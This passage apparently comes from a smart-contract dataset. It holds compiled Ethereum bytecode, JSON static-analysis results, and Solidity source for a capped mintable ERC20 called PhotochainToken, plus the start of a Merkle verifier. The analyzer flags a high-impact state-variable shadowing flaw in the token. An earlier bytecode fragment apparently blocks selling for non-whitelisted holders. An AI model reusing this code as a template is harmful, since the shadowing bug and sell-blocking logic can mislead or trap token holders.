54d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161043a565b9392505050565b600061077783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610c8e565b6001600160a01b0383166108225760405162461bcd60e51b8152602060048201526024808201527f42455032303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161043a565b6001600160a01b0382166108835760405162461bcd60e51b815260206004820152602260248201527f42455032303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161043a565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109455760405162461bcd60e51b815260206004820152602260248201527f57453a207472616e736665722066726f6d20746865207a65726f206164647265604482015261737360f01b606482015260840161043a565b6001600160a01b03821661099b5760405162461bcd60e51b815260206004820181905260248201527f57453a207472616e7366657220746f20746865207a65726f2061646472657373604482015260640161043a565b60008111610a015760405162461bcd60e51b815260206004820152602d60248201527f57453a205472616e7366657220616d6f756e74206d757374206265206772656160448201526c746572207468616e207a65726f60981b606482015260840161043a565b6001600160a01b03831660009081526003602052604090205460ff16158015610a4357506001600160a01b03821660009081526003602052604090205460ff16155b15610b3857600b54811115610a9a5760405162461bcd60e51b815260206004820152601760248201527f616d6f756e7420657863656564206d6178206c696d6974000000000000000000604482015260640161043a565b600a5460ff16158015610abb57506000546001600160a01b03848116911614155b8015610ad557506000546001600160a01b03838116911614155b15610b38576005546001600160a01b0383811691161415610b385760405162461bcd60e51b815260206004820152601a60248201527f2057453a53656c6c696e67206973206e6f7420656e61626c6564000000000000604482015260640161043a565b6001600160a01b03831660009081526001602052604090205481811015610bad5760405162461bcd60e51b815260206004820152602360248201527f57453a207472616e7366657220616d6f756e7420657863656564732062616c616044820152626e636560e81b606482015260840161043a565b6001600160a01b03808516600090815260016020526040808220858503905591851681529081208054849290610be4908490610e90565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c3091815260200190565b60405180910390a350505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60008183610caf5760405162461bcd60e51b815260040161043a9190610cc5565b506000610cbc8486610efc565b95945050505050565b600060208083528351808285015260005b81811015610cf257858101830151858201604001528201610cd6565b81811115610d04576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610d3157600080fd5b919050565b60008060408385031215610d4957600080fd5b610d5283610d1a565b946020939093013593505050565b600080600060608486031215610d7557600080fd5b610d7e84610d1a565b9250610d8c60208501610d1a565b9150604084013590509250925092565b60008060408385031215610daf57600080fd5b610db883610d1a565b915060208301358015158114610dcd57600080fd5b809150509250929050565b600060208284031215610dea57600080fd5b61077782610d1a565b600060208284031215610e0557600080fd5b5035919050565b60008060408385031215610e1f57600080fd5b610e2883610d1a565b9150610e3660208401610d1a565b90509250929050565b600181811c90821680610e5357607f821691505b60208210811415610e7457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60008219821115610ea357610ea3610e7a565b500190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000816000190483118215151615610ef757610ef7610e7a565b500290565b600082610f1957634e487b7160e01b600052601260045260246000fd5b50049056fea26469706673582212203009431c191ee8245c016cfb6c39e61472e8b7c62f2bf7cb0c7d78844b23e65364736f6c63430008090033
|
{"success": true, "error": null, "results": {}}
| 8,426 |
0x88652845a5495983b70aebbf25102361552d5e54
|
pragma solidity 0.4.24;
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
* @dev Based on https://github.com/OpenZeppelin/zeppelin-solidity
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev Based on https://github.com/OpenZeppelin/zeppelin-solidity
*/
contract StandardToken is ERC20 {
using SafeMath for uint256;
uint256 internal _totalSupply;
mapping(address => uint256) internal _balanceOf;
mapping (address => mapping (address => uint256)) internal _allowance;
modifier onlyValidAddress(address addr) {
require(addr != address(0), "Address cannot be zero");
_;
}
modifier onlySufficientBalance(address from, uint256 value) {
require(value <= _balanceOf[from], "Insufficient balance");
_;
}
modifier onlySufficientAllowance(address owner, address spender, uint256 value) {
require(value <= _allowance[owner][spender], "Insufficient allowance");
_;
}
/**
* @dev Transfers token to the specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value)
public
onlyValidAddress(to)
onlySufficientBalance(msg.sender, value)
returns (bool)
{
_balanceOf[msg.sender] = _balanceOf[msg.sender].sub(value);
_balanceOf[to] = _balanceOf[to].add(value);
emit Transfer(msg.sender, to, value);
return true;
}
/**
* @dev Transfers tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value)
public
onlyValidAddress(to)
onlySufficientBalance(from, value)
onlySufficientAllowance(from, msg.sender, value)
returns (bool)
{
_balanceOf[from] = _balanceOf[from].sub(value);
_balanceOf[to] = _balanceOf[to].add(value);
_allowance[from][msg.sender] = _allowance[from][msg.sender].sub(value);
emit Transfer(from, to, value);
return true;
}
/**
* @dev Approves the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value)
public
onlyValidAddress(spender)
returns (bool)
{
_allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Increases the amount of tokens that an owner allowed to a spender.
*
* approve should be called when _allowance[spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
onlyValidAddress(spender)
returns (bool)
{
_allowance[msg.sender][spender] = _allowance[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowance[msg.sender][spender]);
return true;
}
/**
* @dev Decreases the amount of tokens that an owner allowed to a spender.
*
* approve should be called when _allowance[spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
onlyValidAddress(spender)
onlySufficientAllowance(msg.sender, spender, subtractedValue)
returns (bool)
{
_allowance[msg.sender][spender] = _allowance[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowance[msg.sender][spender]);
return true;
}
/**
* @dev Gets total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balanceOf[owner];
}
/**
* @dev Checks the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowance[owner][spender];
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
* @dev Based on https://github.com/OpenZeppelin/zeppelin-soliditysettable
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() {
require(msg.sender == owner, "Can only be called by the owner");
_;
}
modifier onlyValidAddress(address addr) {
require(addr != address(0), "Address cannot be zero");
_;
}
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner)
public
onlyOwner
onlyValidAddress(newOwner)
{
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Mintable token
* @dev Standard token with minting
* @dev Based on https://github.com/OpenZeppelin/zeppelin-solidity
*/
contract MintableToken is StandardToken, Ownable {
bool public mintingFinished;
uint256 public cap;
event Mint(address indexed to, uint256 amount);
event MintFinished();
modifier onlyMinting() {
require(!mintingFinished, "Minting is already finished");
_;
}
modifier onlyNotExceedingCap(uint256 amount) {
require(_totalSupply.add(amount) <= cap, "Total supply must not exceed cap");
_;
}
constructor(uint256 _cap) public {
cap = _cap;
}
/**
* @dev Creates new tokens for the given address
* @param to The address that will receive the minted tokens.
* @param amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address to, uint256 amount)
public
onlyOwner
onlyMinting
onlyValidAddress(to)
onlyNotExceedingCap(amount)
returns (bool)
{
mintImpl(to, amount);
return true;
}
/**
* @dev Creates new tokens for the given addresses
* @param addresses The array of addresses that will receive the minted tokens.
* @param amounts The array of amounts of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mintMany(address[] addresses, uint256[] amounts)
public
onlyOwner
onlyMinting
onlyNotExceedingCap(sum(amounts))
returns (bool)
{
require(
addresses.length == amounts.length,
"Addresses array must be the same size as amounts array"
);
for (uint256 i = 0; i < addresses.length; i++) {
require(addresses[i] != address(0), "Address cannot be zero");
mintImpl(addresses[i], amounts[i]);
}
return true;
}
/**
* @dev Stops minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting()
public
onlyOwner
onlyMinting
returns (bool)
{
mintingFinished = true;
emit MintFinished();
return true;
}
function mintImpl(address to, uint256 amount) private {
_totalSupply = _totalSupply.add(amount);
_balanceOf[to] = _balanceOf[to].add(amount);
emit Mint(to, amount);
emit Transfer(address(0), to, amount);
}
function sum(uint256[] arr) private pure returns (uint256) {
uint256 aggr = 0;
for (uint256 i = 0; i < arr.length; i++) {
aggr = aggr.add(arr[i]);
}
return aggr;
}
}
contract PhotochainToken is MintableToken {
string public name = "PhotochainToken";
string public symbol = "PHT";
uint256 public decimals = 18;
uint256 public cap = 120 * 10**6 * 10**decimals;
// solhint-disable-next-line no-empty-blocks
constructor() public MintableToken(cap) {}
}
|
0x6080604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461010157806306fdde0314610130578063095ea7b3146101c057806318160ddd1461022557806323b872dd14610250578063313ce567146102d5578063355274ea14610300578063395093511461032b5780634029a3ce1461039057806340c10f191461045157806370a08231146104b65780637d64bcb41461050d5780638da5cb5b1461053c57806395d89b4114610593578063a457c2d714610623578063a9059cbb14610688578063dd62ed3e146106ed578063f2fde38b14610764575b600080fd5b34801561010d57600080fd5b506101166107a7565b604051808215151515815260200191505060405180910390f35b34801561013c57600080fd5b506101456107ba565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561018557808201518184015260208101905061016a565b50505050905090810190601f1680156101b25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101cc57600080fd5b5061020b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610858565b604051808215151515815260200191505060405180910390f35b34801561023157600080fd5b5061023a6109f1565b6040518082815260200191505060405180910390f35b34801561025c57600080fd5b506102bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109fa565b604051808215151515815260200191505060405180910390f35b3480156102e157600080fd5b506102ea610f01565b6040518082815260200191505060405180910390f35b34801561030c57600080fd5b50610315610f07565b6040518082815260200191505060405180910390f35b34801561033757600080fd5b50610376600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f0d565b604051808215151515815260200191505060405180910390f35b34801561039c57600080fd5b5061043760048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192905050506111b0565b604051808215151515815260200191505060405180910390f35b34801561045d57600080fd5b5061049c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061154e565b604051808215151515815260200191505060405180910390f35b3480156104c257600080fd5b506104f7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117e5565b6040518082815260200191505060405180910390f35b34801561051957600080fd5b5061052261182e565b604051808215151515815260200191505060405180910390f35b34801561054857600080fd5b506105516119c8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561059f57600080fd5b506105a86119ee565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105e85780820151818401526020810190506105cd565b50505050905090810190601f1680156106155780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561062f57600080fd5b5061066e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611a8c565b604051808215151515815260200191505060405180910390f35b34801561069457600080fd5b506106d3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611e29565b604051808215151515815260200191505060405180910390f35b3480156106f957600080fd5b5061074e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612126565b6040518082815260200191505060405180910390f35b34801561077057600080fd5b506107a5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506121ad565b005b600360149054906101000a900460ff1681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108505780601f1061082557610100808354040283529160200191610850565b820191906000526020600020905b81548152906001019060200180831161083357829003601f168201915b505050505081565b600082600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610900576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f416464726573732063616e6e6f74206265207a65726f0000000000000000000081525060200191505060405180910390fd5b82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a3600191505092915050565b60008054905090565b600082600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610aa2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f416464726573732063616e6e6f74206265207a65726f0000000000000000000081525060200191505060405180910390fd5b8483600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111151515610b5b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f496e73756666696369656e742062616c616e636500000000000000000000000081525060200191505060405180910390fd5b863386600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111151515610c52576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f496e73756666696369656e7420616c6c6f77616e63650000000000000000000081525060200191505060405180910390fd5b610ca488600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123d990919063ffffffff16565b600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d3988600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123f290919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e0b88600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123d990919063ffffffff16565b600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508873ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8a6040518082815260200191505060405180910390a3600196505050505050509392505050565b60075481565b60085481565b600082600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610fb5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f416464726573732063616e6e6f74206265207a65726f0000000000000000000081525060200191505060405180910390fd5b61104483600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123f290919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611278576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f43616e206f6e6c792062652063616c6c656420627920746865206f776e65720081525060200191505060405180910390fd5b600360149054906101000a900460ff161515156112fd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4d696e74696e6720697320616c72656164792066696e6973686564000000000081525060200191505060405180910390fd5b61130683612410565b60045461131e826000546123f290919063ffffffff16565b11151515611394576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f546f74616c20737570706c79206d757374206e6f74206578636565642063617081525060200191505060405180910390fd5b83518551141515611433576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001807f416464726573736573206172726179206d757374206265207468652073616d6581526020017f2073697a6520617320616d6f756e74732061727261790000000000000000000081525060400191505060405180910390fd5b600091505b845182101561154257600073ffffffffffffffffffffffffffffffffffffffff16858381518110151561146757fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff16141515156114fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f416464726573732063616e6e6f74206265207a65726f0000000000000000000081525060200191505060405180910390fd5b611535858381518110151561150e57fe5b90602001906020020151858481518110151561152657fe5b90602001906020020151612469565b8180600101925050611438565b60019250505092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611615576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f43616e206f6e6c792062652063616c6c656420627920746865206f776e65720081525060200191505060405180910390fd5b600360149054906101000a900460ff1615151561169a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4d696e74696e6720697320616c72656164792066696e6973686564000000000081525060200191505060405180910390fd5b82600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611740576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f416464726573732063616e6e6f74206265207a65726f0000000000000000000081525060200191505060405180910390fd5b82600454611759826000546123f290919063ffffffff16565b111515156117cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f546f74616c20737570706c79206d757374206e6f74206578636565642063617081525060200191505060405180910390fd5b6117d98585612469565b60019250505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118f5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f43616e206f6e6c792062652063616c6c656420627920746865206f776e65720081525060200191505060405180910390fd5b600360149054906101000a900460ff1615151561197a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4d696e74696e6720697320616c72656164792066696e6973686564000000000081525060200191505060405180910390fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611a845780601f10611a5957610100808354040283529160200191611a84565b820191906000526020600020905b815481529060010190602001808311611a6757829003601f168201915b505050505081565b600082600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611b34576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f416464726573732063616e6e6f74206265207a65726f0000000000000000000081525060200191505060405180910390fd5b338484600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111151515611c2b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f496e73756666696369656e7420616c6c6f77616e63650000000000000000000081525060200191505060405180910390fd5b611cba86600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123d990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600194505050505092915050565b600082600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611ed1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f416464726573732063616e6e6f74206265207a65726f0000000000000000000081525060200191505060405180910390fd5b3383600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111151515611f8a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f496e73756666696369656e742062616c616e636500000000000000000000000081525060200191505060405180910390fd5b611fdc85600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123d990919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061207185600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123f290919063ffffffff16565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a36001935050505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612272576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f43616e206f6e6c792062652063616c6c656420627920746865206f776e65720081525060200191505060405180910390fd5b80600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515612318576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f416464726573732063616e6e6f74206265207a65726f0000000000000000000081525060200191505060405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a381600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b60008282111515156123e757fe5b818303905092915050565b600080828401905083811015151561240657fe5b8091505092915050565b6000806000809150600090505b835181101561245f57612450848281518110151561243757fe5b90602001906020020151836123f290919063ffffffff16565b9150808060010191505061241d565b8192505050919050565b61247e816000546123f290919063ffffffff16565b6000819055506124d681600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123f290919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885826040518082815260200191505060405180910390a28173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505600a165627a7a72305820ec8b6a5f66de845c3ea4e19b7a6e2c8294d2f447631a0fec2d4f4a2e5e0b71b40029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
| 8,427 |
0x0aF10D116A5CF10cA8835A0d775e0b248114fAD0
|
pragma solidity 0.5.15;
contract IFactRegistry {
/*
Returns true if the given fact was previously registered in the contract.
*/
function isValid(bytes32 fact)
external view
returns(bool);
}
contract IMerkleVerifier {
uint256 constant internal MAX_N_MERKLE_VERIFIER_QUERIES = 128;
function verify(
uint256 channelPtr,
uint256 queuePtr,
bytes32 root,
uint256 n)
internal view
returns (bytes32 hash);
}
contract IQueryableFactRegistry is IFactRegistry {
/*
Returns true if at least one fact has been registered.
*/
function hasRegisteredFact()
external view
returns(bool);
}
contract MerkleVerifier is IMerkleVerifier {
function getHashMask() internal pure returns(uint256) {
// Default implementation.
return 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF000000000000000000000000;
}
/*
Verifies a Merkle tree decommitment for n leaves in a Merkle tree with N leaves.
The inputs data sits in the queue at queuePtr.
